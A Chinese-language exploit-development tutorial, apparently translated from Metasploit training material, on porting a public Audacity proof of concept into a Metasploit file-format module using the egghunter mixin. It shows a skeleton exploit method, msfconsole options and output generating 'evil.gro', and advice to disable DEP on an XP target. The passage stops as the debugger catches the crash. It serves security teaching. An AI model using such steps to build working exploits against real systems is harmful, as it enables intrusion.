继续Egg-hunt
MSF egghunter mixin是一个很好的模块,可以在开发开发中有很大的用处。如果你不熟悉egghunters的概念,请先阅读。
Audacity Audio Editor中的一个漏洞为我们提供了一个更深入地研究这个混合的机会。在下一个模块中,我们将利用Audacity并为其创建一个Metasploit文件格式利用模块。我们不会专注于开发方法本身或其背后的理论,而是直接参与到Egghunter mixin的实际应用中。
请注意,以下示例使用Microsoft的Windows XP SP2作为目标。如果您想重现以下内容,您需要设置您自己的虚拟机。如果SP2不适用于您,则可以使用SP3,但请确保使用以下命令禁用C:\ boot.ini中的DEP :/ noexecute = AlwaysOff
建立并配置我们的Egg-hunt
在您的XP SP2盒子上下载并安装易受攻击的Audacity软件:
下载并检查原始PoC,取自:https : //www.exploit-db.com/exploits/7634/
移植Egghunter PoC
让我们将此PoC移植到MSF文件格式利用模块。我们可以使用现有的模块来获得一个通用模板。zinfaudioplayer221_pls.rb漏洞为我们提供了一个良好的开端。
我们的骨架利用应该看起来与此类似。注意我们的缓冲区在这里生成:
def exploit
buff = Rex::Text.pattern_create(2000)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buff)
end
我们使用Rex :: Text.pattern_create(2000)来创建一个2000字节的唯一字符串,以便能够跟踪调试器中的缓冲区位置。
一旦我们移植了PoC,我们就生成漏洞利用文件并将其传输到我们的Windows机器中。首先使用generic/debug_trap有效载荷。
msf exploit(audacity) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME evil.gro yes The file name.
OUTPUTPATH /var/www yes The location of the file.
Payload options (generic/debug_trap):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Audacity Universal 1.2
msf exploit(audacity) > exploit
[*] Creating 'evil.gro' file ...
[*] Generated output file /var/www/evil.gro
[*] Exploit completed, but no session was created.
msf exploit(audacity) >
我们打开Audacity,附加一个调试器并导入MIDI gro文件。
我们立即从Audacity得到一个异常,调试器暂停: